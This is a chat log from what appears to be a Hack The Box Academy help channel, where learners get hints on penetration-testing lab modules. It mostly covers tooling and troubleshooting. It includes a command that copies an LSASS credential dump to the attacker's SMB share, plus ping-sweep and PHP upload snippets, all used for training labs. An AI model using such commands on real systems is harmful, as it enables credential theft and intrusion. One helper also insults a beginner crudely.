modules

[mossy drift]

||SilkETW.exe -t user -pn Microsoft-Windows-Kernel-Process -ot file -p C:\windows\temp\etw.json||

And CTRL C to stop it

[autumn void]

Yes that’s what I did but when I open the etw in notepad and search for the spool’s PID I get no results

[fluid mango]

Hello

[vocal bridge]

I know this is not really the most appropiate place to ask but I can't do the xss detection question from XSS module because owasp zap keeps changing the request by force from http to https(at least that's what it looks like). Other browsers work just fine but if i use the built in browser or foxyproxy it keeps doing this

if anybody ever encountered this issue or knows what's wrong i am in deep need of help

[fathom pendant]

reset the target

oh wait

you're trying to access via https

you need to access via http

[fathom pendant]

also this is the appropriate place to ask module questions

[shut vapor]

Alternate suggestion: have you tried clearing Firefox's cache? Once in a while that sort of thing happens to me with fx and I'm pretty sure it's a cached 302 redirect. I usually just pop a private browser to get around, but IDK if you can do that with zap.

[fathom pendant]

https://support.mozilla.org/en-US/kb/https-only-prefs#:~:text=Select Privacy %26 Security from the,enable it for private windows.

https://support.mozilla.org/en-US/questions/1019210

:)

quick googling

[fathom pendant]

it's potentially just a configuration thing with firefox

which takes a quick google "Disable https upgrade firefox" or "disable https firefox"

source: i had to look it up previously

[shut vapor]

That could be too. In my case I know the http will load just not with my current session. It usually only happens to me if I'm deploying a site to a new server and don't yet have a cert up, so it keep trying to redirect me like the old server did.

In his case, I'm not sure how he could have possibly gotten a 302 redirect from the docker instance when the IP and port vary so wildly so who knows.

[vocal bridge]

yea whenever i change it from url it forces it back to https

[fathom pendant]

see the above linked articles

:)

<3

[vocal bridge]

must have not seen it. i thought it was an owasp issue since accessing the site on normal firefox worked

cheers

[fathom pendant]

honestly it's just overall better to just use your own firefox and route through proxy

than to use the proxy's browser

[foggy monolith]

Does Chrome work too or is it trickier to set up?

[fathom pendant]

chrome should work

¯_(ツ)_/¯

but idk how it'd be set up

[primal patrol]

Hi

Do i get Direct access to the bug bounty hunter path modules

with the Silver monthly subscription?

[dim wolf]

monthly subs will give you cubes that you can use to purchase modules, including those in the Bug Bounty Hunter path

[fathom pendant]

no

[dim wolf]

if you want immediate access, you will need to purchase an annual sub or the student sub

[primal patrol]

Ok thanks

[sullen rapids]

Hey guys I need some help

[trim frost]

don't we all

[sullen rapids]

I am unable to find the exploit for simple backup plugin 2.7.10

I am unable to find a exploit which would help me to get access and find the flag.txt

in the hint it said "search plugin exploit" but it was not helpful to me

[trim frost]

which section is that?

[sullen rapids]

public exploits

[trim frost]

under which module?

[sullen rapids]

cracking into HTB

[trim frost]

so you scanned, did enumerations, visited the webpage?

[plucky hollow]

search in exploit db

[sullen rapids]

yeahh

[plucky hollow]

or National Vulnerability Database

[sullen rapids]

I am confused with which exploit to choose

[plucky hollow]

If you send the link of the module I can help you

[sullen rapids]

https://academy.hackthebox.com/module/77/section/843

[trim frost]

it is called Getting Started

[sullen rapids]

ohh I just solved it

let go @plucky hollow, thanks!

[sullen rapids]

my bad

[trim frost]

no worries

all of it is just practice

[tidal sparrow]

Im having issues connecting with my target on pwnbox and in my machine (rdp)

[plucky hollow]

what issue

[quasi jewel]

Quick question, will I get to keep all modules I purchased even if I don't finish them if I canceled my subscription?

[honest gyro]

If purchased them via cubes u will keep them forever

If it’s an access based sup (student sup , silver and gold annuals) u need to complete them to keep them

[quasi jewel]

woww, shoot I screwed up then, I subscribed for two months patinium and purchased modules with the 2000 boxes I got from the subscription, so now I'm losing what I haven't finished

[cerulean cliff]

Heyo guys I'm having trouble staying connected to the box I'm supposed to RDP into I'm working on the "Windows Event Logs" and I'm on the first part of it. I can initially connect to the machine, but after about 5-10 seconds. I am disconnected from it, and I am unable to reconnect like the machine is offline. I'm on the VPN and the machine shows it has >100 minutes of life left. I've tried Terminating/Resetting the target machine but that did not work

[honest gyro]

No u don’t lose them😅

No matter the way u got the cubes from as long as u purchased them via cubes u have them forever

[quasi jewel]

wheeew, I was having a meltdown for a sec, I saved up for a year and a half to afford cert voucher and 2 month subscription.

[honest gyro]

U lose what u haven’t finished if u have (student sup , silver and gold annuals) only

[quasi jewel]

thank you so much for clarifying

[honest gyro]

Np happy to help at any time

[elder verge]

im working on this module: https://academy.hackthebox.com/module/87/section/883
I created a parrotOS VM. The module says I should use the command: cat tools.list to see the list of tools. When i do that i get this: cat: tools.list: No such file or directory
Does anyone know why or what im doing wrong?

[fathom pendant]

as has been stated a billion times about it, you need to create a tools.list file

the parrotOS vm (nor the pwnbox) has the tools.list file

the list shown is what you can put into a tools.list file

[elder verge]

okay thank you

[jade whale]

Im having a issue with the file uploads room, I try to upload the file and view it on http[://]ip:port/uploads/test.php and it is not there and instead i get the error page

[fathom pendant]

well is that the right endpoint to find it?

also it's not room

room is thm speak

[jade whale]

Not Found

The requested URL was not found on this server.

[fathom pendant]

that wasn't my question :)

i believe that module has you bypass an image upload, yes?

[jade whale]

no

[fathom pendant]

what section are you on?

[jade whale]

im on the first one

[fathom pendant]

name?

[jade whale]

the very first section named absent validation

[fathom pendant]

thanks

also to uhm actually here; the very first section name is Intro to File Upload Attacks

was your upload named test.php?

[jade whale]

yes ik the intro u mentioned doesn't matter right now what matters is i tried to do the absent validation with a simple <?php echo "hello world"; ?> and yes it was named test.php

[fathom pendant]

did you press the upload button?

[jade whale]

it has been giving me the same response for every single type of php shell i have tried of no url and yes i did i swear i did the site is kind of bad

[fathom pendant]

just launched it and did the steps and it worked just fine for me ¯_(ツ)_/¯

no errors here

[jade whale]

ok i got it to work

i came from portswigger and thm so i think i was just struggling to adapt

[fathom pendant]

¯_(ツ)_/¯

[unique salmon]

Hi

[muted pulsar]

💯

[unique salmon]

Does anyone have any tips on the test pts?

[vocal bridge]

still not working

[fathom pendant]

Lmao you mean the cert exams?

[vocal bridge]

says it is bad request

[fathom pendant]

¯_(ツ)_/¯

[fathom pendant]

Tips are, do the path related to the cert and take notes

[unique salmon]

yes

[fathom pendant]

That's the only tip that can be given about the exam

Other than that you're completely on your own for the exams

[unique salmon]

Okay, thank you. I know that I will be alone in this exam, but how long does the exam take?

[fathom pendant]

Up to 10 calendar days

¯_(ツ)_/¯

[unique salmon]

ok

[fathom pendant]

https://tenor.com/view/depends-it-depends-depend-depending-gif-9450980667299967764

If you look at the pinned messages in each of the cert channels they'll provide more info about the exams

[unique salmon]

Do you have any hints about Sea Lab Season 6?

[fathom pendant]

No read and follow #welcome and ask in #boxes

[plucky hollow]

what problem you having?

[vocal bridge]

.

[plucky hollow]

How do you know that Zap searches for https and not http?

[vocal bridge]

it is literally in the url it forces it into https

[fathom pendant]

I also used burp instead of zap for this tbh

¯_(ツ)_/¯

[plucky hollow]

It's hard to know why this is happening to you, it works fine for me, have you checked the browser or Zap settings?

[vocal bridge]

can you send in dm a picture of your extensions? I want to check maybe I installed a bad one

for all i know this could be

[vocal bridge]

sorry too broke for premium

[fathom pendant]

Did you also in Firefox go to about:config and change the setting there?

[vocal bridge]

yup

[plucky hollow]

foxyproxy and just 2 localhost 1 for burp (8080) and other for zap (8090)

[fathom pendant]

I don't use premium either my guy

[vocal bridge]

dont you need premium to scan websites?

[fathom pendant]

No

You don't need premium to intercept requests

[plucky hollow]

but yes i think with burp the crawling is slow

did you try reconspider?

[vocal bridge]

does it check for xss?

[fathom pendant]

ReconSpider won't do anything

[plucky hollow]

nope, then try xxstrike

[vocal bridge]

its weird until now zap worked no problem

i still think an extension is doing this

i just dont know which one

[fathom pendant]

what specific section is this btw

[vocal bridge]

XSS disovery

[fathom pendant]

ty

[plucky hollow]

I thought he were trying to crawl the truth I wouldn't use zap for anything other than that

[fathom pendant]

no

XSS isn't about crawling

[vocal bridge]

i know if i try i can do it by hand but yk zap has been until now very convenient

[fathom pendant]

loads fine for me in ff

[plucky hollow]

also you can try fuzz that with some usefull payload https://github.com/payloadbox/xss-payload-list

[fathom pendant]

but also this section refers to using xsstrike tool

[plucky hollow]

ik sorry my bad, I did not interpret the question well

[fathom pendant]

there's a reason i asked for the specific section that's being worked on

[plucky hollow]

nice, i'm learning from you.

[fathom pendant]

by asking the specific section i can attempt to replicate the issue rather than just throwing darts at a wall and going "try this? or this?"

instead of going based off my memory

hm

the site worked fine for me routing through zaproxy and it upgrading to https

[vocal bridge]

?

so it changed to https by force

but it worked

maybe i have to turn on the academy openvpn or smth?

[fathom pendant]

nope

vpn not required

as this is a publicIP:port

[fathom pendant]

zap browser worked fine for me as well

¯_(ツ)_/¯

hmmm i see

[vocal bridge]

so i typed https isntead of http in the owasp bar

[fathom pendant]

it's upgrading to https via the zap reroute

[vocal bridge]

and it worked

[fathom pendant]

yeah

[vocal bridge]

however

[fathom pendant]

sounds like it's potentially an issue with your zap install

as shown by the message

but you don't need to intercept requests for this section tbqh

[vocal bridge]

still i need to get into the site

[plucky hollow]

did you install the zap certificate in your browser?

[vocal bridge]

im using the built in browser

but yeah i got one on foxyproxy

on foxy proxy it sends a bad request

[vocal bridge]

idk what i did wrong

when doing the web proxy module it worked no problem, then i remember installing some extensions and then this

[fathom pendant]

then it might be one of the extensions you added ¯_(ツ)_/¯

i've added no extensions

[vocal bridge]

zap still comes with some installed. You mind sending me a picture to know what to remove

[fathom pendant]

i'm not a zap expert my dude

as i said i added no extensions, not that none weren't already installed

worst case scenario; just reinstall zap

¯_(ツ)_/¯

[hard matrix]

on the Pivoting, Tunneling, and Port Forwarding skills assessment
specifically the question:

 For your next hop enumerate the networks and then utilize a common remote access solution to pivot. Submit the C:\Flag.txt located on the workstation.

i've done a ping sweep on the internal windows host, looked at arp and netstat but can't really find a third host. any tips

probably doing something simple wrong

[fathom pendant]

did you check all interface networks?

[frosty geyser]

Hi 👋

I have problems can help

[unique salmon]

Hi

[frosty geyser]

Can you help for module attack password

[unique salmon]

What's the problem

[unique salmon]

Explain what is the problem you face, if I have any answer or hint, I will help you

[frosty geyser]

You can privately, I can't send a picture here

[crimson eagle]

Anyone know how to perform string analysis on this? Do I need to navigate to the directory first then perform string analysis?

CDSA Developing YARA Rules for reference https://academy.hackthebox.com/module/234/section/2514

[unique salmon]

Did you manage to enter the ssh?

[crimson eagle]

yeah, I tunnel in and everything already

but in the example, it just shows this:

I do the same but doesn't work with DirectX.dll

[fathom pendant]

well it directly tells you where it is

"that resides in the" means that's the file location that it is in

:)

[crimson eagle]

So I navigate to the directory first then string analysis correct?

[unique salmon]

Well, you have a path

the "/home/htb-student/Samples/YARASigma"

[fathom pendant]

you'll need to ssh to the provided host first

but yes

note that everything before [user]@htb[/htb]$ isn't part of a command

everything after is

[crimson eagle]

ok - I'll try that and report back. Thanks guys! I was pulling my hair out earlier cause after ssh in, bash would lag/delay alot lol

[fathom pendant]

so the command isn't [user]@htb[/htb]$ strings svchost.exe

just strings svchost.exe

[fathom pendant]

then change vpn regions

¯_(ツ)_/¯

[unique salmon]

I hope I gave you a useful hint

[frosty geyser]

i have problem
in password attack
Linux Local Password Attacks
Passwd, Shadow & Opasswd

[fathom pendant]

what is the problem?

we can't really help without knowing the issue you're facing

[frosty geyser]

will is not in the sudoers file. This incident will be reported

[fathom pendant]

"i have problem" isn't descriptive as to what's wrong

[fathom pendant]

transfer the files to your system then

note will might have done backups to a file location he can access

:)

[frosty geyser]

(""Examine the target using the credentials from the user Will and find out the password of the "root" user. Then, submit the password as the answer. "")

[fathom pendant]

i'm aware of the question

[unique salmon]

Is it a problem after breaking a password or is there a mistake?

[fathom pendant]

i'm explaining that you won't be able to unshadow as will

you'll need to find files that will does have access to

that will be your first step

[unique salmon]

Good, it's not difficult, give you a username

And you have a password file, use it

[frosty geyser]

I don't know how he got the password. sudo 🙄

[fathom pendant]

again

look for files will DOES have access to

[frosty geyser]

No, I entered ssh, but I want to get a sudo password

[fathom pendant]

sigh

Stop focusing on sudo

[frosty geyser]

Ok

[dim fox]

Have some problem with Web Fuzzing module in the beginning. I fuzzed for directory, it founded w2k.. like in the description above and the file dblck also like in description above.. I used all wordlists( but nothing else was found😔

[fathom pendant]

Did you fuzz the right hidden_directory?

The one explicitly given to you

:)

[frosty geyser]

???

[fathom pendant]

You won't get the same results as the example

[dim fox]

I Fuzzed the webroot first

[fathom pendant]

Those messages aren't related to your situation

[vocal bridge]

reinstalled. the extensions stayed. i just want to compare lists to uninstall them myself cuz i forgor

[fathom pendant]

Doesn't the question explicitly give you a place to start?

[fathom pendant]

¯_(ツ)_/¯

[marsh echo]

https://academy.hackthebox.com/achievement/badge/7afa7b8b-6576-11ef-864f-bea50ffe6cb4 finally I move on to the privilege escalation module

[frosty geyser]

I'm waiting 🙄🙄

[thorny tusk]

can someone explain this behaviour?

[vocal bridge]

this one

[fathom pendant]

Dude idfk

[fathom pendant]

For what?

I told you how to move forward

[frosty geyser]

I swear, I didn't understand anything

[fathom pendant]

Look for files will has access to

[dim fox]

I didnt think that this is a name of the directory🫣 🫣 lmao. found everything

[fathom pendant]

ls -la

[frosty geyser]

The problem is that I won't be able to open the file

[fathom pendant]

...

sigh don't look in /etc/

Look first in home

[plucky hollow]

How many simultaneous threads do you recommend for ffuf?

[marsh echo]

Which section are you stuck on?

[plucky hollow]

for HTB boxes

[fathom pendant]

It depends

[frosty geyser]

Password attack
Linux local
Passwd,shadow & opasswd

[frosty geyser]

..

[fathom pendant]

Ok I guess don't take my hints

[plucky hollow]

unshadow

[fathom pendant]

He can't sudo as will, which is where he's stuck

And I've provided ways of getting unstuck

No

He doesn't

Privesc is not part of this

I would suggest not commenting regarding a module you haven't done, or at least stating that you haven't done it

[marsh echo]

find a hidden directory on the user directory Will Marcie tells you

[fathom pendant]

¯_(ツ)_/¯

[frosty geyser]

?

[hard matrix]

painful

[marsh echo]

then you can use file transfer techniques to transfer the files found on your attacking machine.

if you don't understand re-read the course that's what they used to tell me every time i got stuck and if you don't understand rest and come back to it afterwards sometimes it's useful

[fathom pendant]

Dude idk how much simpler you want it given to you without shoving it in your face

[marsh echo]

unfortunately we can't give you the answer directly here, but the people who completed the module will do their best to guide you and let you think about it.

[fathom pendant]

I feel like you're still stuck on the sudo

[fathom pendant]

Made in this context means completed*

Not actually wrote it

[unique salmon]

It seems that you are a little distracted, take a rest and then solve again

[marsh echo]

thank you 😉

[bright coral]

In the second command it matches the first 2 a‘s, then the next 2 a’s and then the last 2 a‘s

grep is not limited to one match per line

[hard matrix]

just curious if you have a nudge. ping sweep for the second nic on the pivot host doesn't seem to be giving me anything and some other methods of discovering devices on that second network doesnt seem to be returning much else

[fathom pendant]

ping sweeps should find it ¯_(ツ)_/¯

[hard matrix]

for the entire 255.255.0.0 subnet mask or just x.x.6.1 ~ x.x.6.255

[fathom pendant]

It's a /24 subnet

[hard matrix]

so the latter

[fathom pendant]

Ye

[hard matrix]

strange

[fathom pendant]

Don't think about it too much

[rustic sage]

Which module do you feel guys is a difficult one?

[fathom pendant]

I mean it's heavily subjective per person

Ad enum was tough mostly bc it's a lot of info

[rustic sage]

I will start now attacking common services

[rustic sage]

Nice👍🏻

[topaz lantern]

Need help on a module. I'm following instructions step by step and nothing is working

Security Monitoring & SIEM Fundamentals >
SIEM Visualization Example 4: Users Added Or Removed From A Local Group (Within A Specific Timeframe)

[fathom pendant]

Make sure your time frame goes by day, and not by week

[topaz lantern]

Today is not my day. I literally just solved it myself

Doesn't help I've been doing classwork since 9AM

[golden scroll]

I have been trying to use zaproxy as a web application assessment tool but it doesn't seem to be stable most of the time. So is there something I am not doing right or am I just better off staying with burp suite.

[fathom pendant]

I've heard Caido is a suitable substitute

[golden scroll]

Thanks I will check it out

[fading cipher]

Can someone DM me Sams credentials from/for Password Attacks - Password Mutations / Password Reuse / Default Passwords. I did the module yesterday and didnt write the password down, since I didn't think it would be used again...

[fathom pendant]

Nope. Go regrab it

[fading cipher]

I dont really have time to sit around and wait for another 45 minute hydra

[fathom pendant]

You shouldn't need to wait 45 minutes... unless you were attacking ssh

[fading cipher]

its still slow with FTP

[fathom pendant]

-t 48

:]

[fading cipher]

i was already running max threads

[fathom pendant]

That's the most stable threading for that module

Well at least from my experience

More than that tends to cause issues

[fading cipher]

Very silly module guess I'll just mutate the single word and spray those cba with wasting my time

[fathom pendant]

But yeah save all credentials you find in that module

[fading cipher]

apparently

lazzy design to reuse boxes

[fathom pendant]

Well the focus is on the password techniques

So having a million boxes wouldn't help

The skill exams on that module aren't related to the rest of the module

But the sections are meant to teach different techniques and from the perspective of you sniffing around and enumerating

[plucky hollow]

Do you recommend any place to find wordlists?

[fathom pendant]

The seclists wordlists tend to be pretty good

[hard matrix]

basically cheated and looked up a forum discussion for this portion of the assessment. ping sweep didnt work but directly pinging the machine i found on the forum discussion does work. very frustrating

maybe increase the amount of ping packets sent would be the key to not missing devices on the network?

fwiw this is my pingsweep from powershell

 1..254 | ForEach-Object { $ip = "172.xx.x.$_"; if (Test-Connection -ComputerName $ip -Count 1 -Quiet) { Write-Output "$ip is up" } }

[fathom pendant]

maybe ¯_(ツ)_/¯

[hard matrix]

just trying to think about what i could have done better incase im doing an assessment without a forum board to give me bread crumbs

[fathom pendant]

but by all means that should work

but also if you use a tool like ligolo-ng you can just use fping through the pivot host :)

[fading cipher]

Is there something wrong with this?
copy C:\Users\htb-student\appdata\local\temp\lsass.dmp \\10.10.14.33\share\ /user:test test

Gives me an error on powershell and cmd
Edit: works without creds, looks like theres a different way to use this with creds

[plucky hollow]

I see that ffuf gives me quite a few false positives, is there any recommendation?

[fathom pendant]

if ffuf is spitting out false positives utilize the filter feature

generally a safe bet is to filter by response size (-fs)

[plucky hollow]

I'm using a filter but in one it tells me what this is and in another it tells me what others are, practically with each scan to be sure I'm having to run the same scan several times and see which one matches.

[fathom pendant]

what module and section?

also you can use multiple filters :)

[plucky hollow]

low reliable

[fathom pendant]

user=

iirc

ah it's a box

#boxes is for help with those my guy

not modules

[plucky hollow]

oh ok

[fathom pendant]

#boxes = labs on the app.hackthebox.com site
#modules = learning modules on academy.hackthebox.com
#challenges = challenges on app.hackthebox.com

:)

[plucky hollow]

but you are not there

[fathom pendant]

i don't do boxes 🙏 so i cannot nudge you towards the right answer

https://tenor.com/view/this-is-my-house-i-pay-the-mortgage-my-house-my-rules-angry-gif-15097848

[plush nimbus]

To get the flag, start the above exercise, then use cURL to download the file returned by '/download.php' in the server shown above.

how?!?!?

[fathom pendant]

dude

what module and section

giving us the question doesn't help

but also

did you click the button that says "click here to spawn target"?

also whenever you're given a location such as /download.php when dealing with webservers it's meant as
http://ip:port/download.php (if the target provides an IP:port) OR http://ip/download.php (if the spawned target is 10.129.x.x)

[plush nimbus]

Web Request first page / section

[fathom pendant]

ok

thank you

also first page/section means virtually nothing as half the time people mean the first interactive section

[plush nimbus]

yes i clicked the spawn target

[fathom pendant]

ok

the section reading should also have described what to do

[plush nimbus]

im confused because of demons lol

[fathom pendant]

yep i can indeed see that the section does talk about cURL

yeah all the tools to do this are given to you if you just read the section :)

In this module, we will be sending web requests through two of the most important tools for any web penetration tester, a Web Browser, like Chrome or Firefox, and the cURL command line tool.

cURL (client URL) is a command-line tool and library that primarily supports HTTP along with many other protocols. This makes it a good candidate for scripts as well as automation, making it essential for sending various types of web requests from the command line, which is necessary for many types of web penetration tests.

Directly from the reading

[tranquil crystal]

https://curl.se/docs/tutorial.html Also use this tutorial to learn how to use curl

[plush nimbus]

ok pero i had used the web browsers it wont work , maybe this why im in the void

[plush nimbus]

was there just now.

[fathom pendant]

perhaps because the page is looking for the curl user-agent (don't concern yourself too much with user-agents at this time)

[plush nimbus]

whats the point of Discord tho' like wtf

[plush nimbus]

OK, use Firefox ill try again

[fathom pendant]

don't use firefox

use curl

ffs

as the question states

[tranquil crystal]

Firefox will send a different user agent, dude.

[fathom pendant]

the question wants you to use cURL so use it

[plush nimbus]

ok, the firefox inside the terminal says "no internet connection"

[fathom pendant]

the syntax is provided by the section you're reading

adm

[plush nimbus]

Oh ok, where is CURL'/?

[fathom pendant]

READ THE FUCKING PAGE

holy shit

stop being so dense

[prime flame]

https://tenor.com/view/big-oof-size-small-medium-switch-gif-17355313

[tranquil crystal]

curl is installed on your attack system or pwnbox

[fathom pendant]

the syntax is given to you, and shown how to utilize

it is a command line tool

meaning you run it in the terminal

not from a browser

[tranquil crystal]

Open a terminal and type curl

[plush nimbus]

🤣 bro i read it like twice now

[fathom pendant]

then you aren't understanding

[plush nimbus]

like powersheld?

[fathom pendant]

powershell works

[tranquil crystal]

Sure

[fathom pendant]

but it pains me to read those words

the syntax will be slightly different in powershell though

as technically curl is just an alias for Invoke-WebRequest

and i don't know offhand the flags and such to get it to work like in bash

[tranquil crystal]

Why are you trying to use curl from within powershell? The module wants you to use curl, and curl should be in pwnbox or kali linux. Connect via VPN or use the pwnbox. What does this even have to do with powershell?

[fathom pendant]

likely a windows host

[plush nimbus]

bro im a beginner lol

[tranquil crystal]

So do the beginner modules first.

[fathom pendant]

this is a beginner module

t0 fundamental

[tranquil crystal]

Learn how to setup and connect ot HTB using the setup module

[plush nimbus]

tellme more

[tranquil crystal]

how to connect to VPN academy

[fathom pendant]

it's why it gives the syntax for curl directly

[fathom pendant]

do you have the in-browser vm running yes or no

i just want to get this out of the way first

the "Start Instance" button

is that on your page?

[plush nimbus]

did the intro onboarding ... but now wanted to start a cheap module , like web request

[fathom pendant]

that's fine

[plush nimbus]

yes

[tranquil crystal]

The in-browser VM is the pwnbox. It has curl installed in a terminal.

[fathom pendant]

ok click the Start Instance Button

and when it loads

click "Full-Screen

[plush nimbus]

done!

[fathom pendant]

now near the top you should see some icons one should have a $ sign on it

that's the bash terminal

this is where you'll run the curl command from

[plush nimbus]

i did open Parrot smh

[tranquil crystal]

Did you get the terminal opened?

[plush nimbus]

done!

[tranquil crystal]

$> icon

[fathom pendant]

https://tenor.com/view/deep-breaths-deep-breath-deep-breathing-caryanne-gif-24937623

[tranquil crystal]

Great. now type curl

it should give you some output.

[plush nimbus]

yes , help?</

[fathom pendant]

curl -h (as shown in the section) will tell you all the different things you can do with curl

[tranquil crystal]

curl: try 'curl --help' or 'curl --manual' for more information

[fathom pendant]

from here you should be able to do this question

[tranquil crystal]

Shorthand is curl -h

you can also man curl and also read the online web page help docs

[fathom pendant]

HTB takes a lot for granted, such as the ability to arrive at conclusions based on given information

[prime flame]

i mean, you used to have to "break" your way into getting an account

[plush nimbus]

one sec pls

[fathom pendant]

well in academy specifically, there's very much a focus on curiosity mindsets

you need to be able to be curious about using the tools you were just given in order to effectively do things in academy

[unique bloom]

anyone want to make a team?

[fathom pendant]

also @tranquil crystal i was right; it does require the curl UA; just copied the chrome UA and it returns "please use cURL"

[fathom pendant]

#1225791307256168448 if you can't see it; read and follow #welcome

[cloud urchin]

Try asking in #1225791307256168448

[unique bloom]

thanks guys just found it

[fathom pendant]

there are 2 types of people in this world:

1. Those who can arrive at conclusions with incomplete data

[unique bloom]

ooh that's like a Mr robot type saying

[fathom pendant]

not really

[unique bloom]

ehh

[fathom pendant]

it's just a play on the 2 types of people tropes

[unique bloom]

word

[fathom pendant]

it's been a saying for decades prior to Mr Robot

[unique bloom]

I mean it wasn't an insult Mr robots a good show

[unique bloom]

fair enough

[prime flame]

ngl i jumped on this disc to search the answer to all my questions, i was not disappointed in the history of this chat. I was also not expecting such a spectacle to unfold before me

[unique bloom]

lol

[fathom pendant]

i cri every tim

oop 53,895 is the number obscured btw (53,897 now)

[quiet trout]

dont skip ahead do the intro to security fundmaentals in order, you wil thank yourself later

[fathom pendant]

don't think he was following a path

just picked one that was interesting

[quiet trout]

it shows you not only how to do curl requests but also how to issue a get request using a tcp vfile and other things that may come in handy (not sure if that translates to powershell but i suppose there would be a way to do it if you had to, in a pinch. i think wget comes on powershell default, and curl does now too(? after a certain power shell version)

[plush nimbus]

i got it , wow thanks... sure!

[quiet trout]

right on. but yeah he should still look into the security foundations or fundamentals path or w/e its called. i just finished a second run thru of it, its been vastly improved since i went thru it 2 years ago or so and i even learned that trick about the get request via tcp vfile in linux, was nice

[plush nimbus]

ill dive a lil into it.

[quiet trout]

web requests is part of the intro to security path, i recommend it for you

if you're trying to break into web sec then do that first, then go to port swigger web academy and do labs there. but definitely get those foundations out the way, htb presents them very well.

@fathom pendant speaking of hopping around, whats your opinion on hopping around? im more of a "read the book cover to cover" kinda guy and i reckon you have familiarity with a lot of the modules/paths on here, what say you?

im considering doing some hopping at the moment.

[fathom pendant]

i've done the modules in order and haven't skipped any even during frustration

there are modules you can sort of skip past and it not matter, but not really many in the course

as the paths are curated to lead you into the next topic naturally

as opposed to here's topic A, now topic C, now topic B which would have been useful for understanding C

[quiet trout]

yeah you pretty much read my mind. ill chive on.

[fathom pendant]

like could you? sure, and then you'll read something from the "earlier" module in the path and go "ohhh that makes Y from later module make sense more"

[plush nimbus]

awesome!

[desert brook]

Anyone able to help a hint for the Footprinting Lab? I've been stuck for two days and feel like i'm missing something stupid

[fathom pendant]

which one?

Hard?

--> UDP

[vapid thistle]

While trying to run the reverse shell on https://academy.hackthebox.com/module/115/section/1106 I tried to follow the solution and what was written in the module but it seems that the written powershell command is wrong. Has anyone ran into that issue before:

[fathom pendant]

run that command in cmd instead, as said in the module

:)

[desert brook]

Sorry 😦 Footprinting - Medium . found a thing but don't have permissions

[fathom pendant]

did you snoop around for an interesting file?

[desert brook]

not even that far into it.

[fathom pendant]

did you get a user:pass foothold yes or no?

if yes; you got that far into it to be snooping around

[vapid thistle]

Brilliant it worked right away. Thank you very much for being so quick and knowledgeable!

[fathom pendant]

check all open ports to see what else you might be able to access with the creds you found

[desert brook]

No no creds yet. I found the techsupport part but thats what I cant get into

[fathom pendant]

ah after mounting you may need to explore as root

[desert brook]

It was indeed something stupid. thank you! I forgot about su

[fathom pendant]

yeah

or sudo ls

:P but slightly more convenient to use su

[desert brook]

bad practice i'm sure but oh well. I can't believe i spent two nights on that

[fathom pendant]

eh it happens

this one is kinda outta the blue to have you need root to explore

but yk

is what it is

[desert brook]

Yeah that definitely wasn't covered in the modules leading up. But I learned and hopefully won't repeat that, thanks again!

[fathom pendant]

my general thing is "permission denied = need root"

short simple, to the point

[prime flame]

thats why the sudo alias in parrot is what it is

[fathom pendant]

please

[prime flame]

mines a lil different >.>

[fathom pendant]

well that's not my full alias list lmao

just the part that shows please is an alias for sudo

there's also the other funny alias

fucking

[prime flame]

when you gotta sudo sudo well anyways gonna crank out this module... hopefully, if im not too dumb

[smoky marten]

i’m stealing this that’s brilliant

[desert brook]

ok i got the second set of credentials but it's not working. does it take a long time for the thing i need to log into to start up after spawning the target?

[fathom pendant]

perhaps think to see if the second set of credentials can be reused

one of the first things you should check when logging into a system is /home/ [linux] and C:/users/ for windows

gives you a condensed list to try

[desert brook]

ohhhhh

[fathom pendant]

:)

also generally shoot for the stars first

just a "fuck it, maybe it is" shot for admin/root

[desert brook]

ok i couldn't figure out how to search to find the credentials but i did it manually and got the flag. thank you!

[foggy monolith]

Used scp to copy it over myself and having the same problem: it's exhausting on the mutated wordlist and exhausting on rockyou.txt, no matter what happens.

Is the -O flag a problem? Because without it, I'm getting a hang at "Initializing backend runtime for device #1" for what seems like an eternity.

[fathom pendant]

it shouldn't matter too much

depending on your device CPU it may take a few minutes to initialize I also don't suggest using optimized kernels

[foggy monolith]

Not a CPU I'm using but a row of 6 Sapphire Radeon RX480s on risers

And the CPU in the device is an unlocked Rocket Lake 11600K. So shouldn't have a problem initializing anything.

[fathom pendant]

well if you're running it in the VM you're not using shit

js

but it shouldn't take long to initialize

[foggy monolith]

Nope. I'm running it on this and it's still hanging at "Initializing" for whatever reason.

[fathom pendant]

i'm not familiar with running hashcat on a rig like that ¯_(ツ)_/¯

that shit is way outta my price range to think about

for context i use an i5-7200U just fine

not even GPU

could be driver related

but this is beyond what I know

[foggy monolith]

It took me 2 years to initially build — not sure if the fact that the GPUs are 6 years old has anything to do with this, but might try switching to pocl on the 11600K CPU and seeing if that makes a difference.

Rusticl worked perfectly fine in the Windows password cracking section; now, it's regressing. Might be an Arch update that's the problem.

[fathom pendant]

it wouldn't

as a note this bad boy i'm on is 10 years old

ah you're not using hashcat? or rusticl is just what's being initialized

[foggy monolith]

Rusticl is the OpenCL backend

[fathom pendant]

ah

gotcha

try running it with -b for benchmark

there's also --debug-mode

[foggy monolith]

Will once the thing finishes rebooting. Took me 2 years to build this thing, and password cracking and mining use the same kind of computing power, so it shouldn't be a problem at all for what was originally a mining rig to crack passwords.

[fathom pendant]

they don't actually

mining rigs are tuned differently than cracking rigs

#general message source: one of the dudes that helps maintain hashcat

so i'd trust this man to be correct 99% of the time when it comes to talking about hashing

[fathom pendant]

there's also an official hashcat discord you might have more luck asking in there

otherwise if we keep speaking about it the mysterious chick3man himself may appear like beetlejuice

[plush nimbus]

🤣

[fathom pendant]

nah but fr chick3nman is pretty chill

[plush nimbus]

https://tenor.com/view/a-mimir-kratos-a-mimir-meme-god-of-war-ragnarok-kratos-god-of-war-kratos-gif-26091600

[fathom pendant]

and more than willing to explain stuff if you ask

[plush nimbus]

that was fun, i be back tomorrow

thanks for the help

https://tenor.com/view/mimir-kratos-tree-god-bless-god-of-war-ragnarok-gif-27208064

[foggy monolith]

Does this imply that custom.rule is required in combination with the mutated wordlist?

[fathom pendant]

no

the mutated wordlist utilizes the custom.rule when you make it

you don't add the rule ontop of the already made list

the total size should be ~93k if i recall

[foggy monolith]

Yeah, well aware of that. Alright, time to copy this thing over to my M1 MacBook Pro and see if that thing can crack it.

[fathom pendant]

¯_(ツ)_/¯

[foggy monolith]

Alright, M1 MacBook cracked it. Yeah, definitely seems to be something wrong with the way Arch switched to Rusticl as a backend.

Honestly tempted to just install Garuda on the beast of an Ethereum rig that has seen new life as the password cracker that it typically is before adding the BlackArch repos since Garuda has a much better driver setup out of the box.

[plucky hollow]

How does a Python virtual environment work internally? Like those made with Pipx, I mean I understand that they maintain the autonomy of the project and that the dependencies do not interfere with each other with other projects but I don't understand how it works internally.

¯_(ツ)_/¯

[fathom pendant]

basically sets up an environment for them to run in
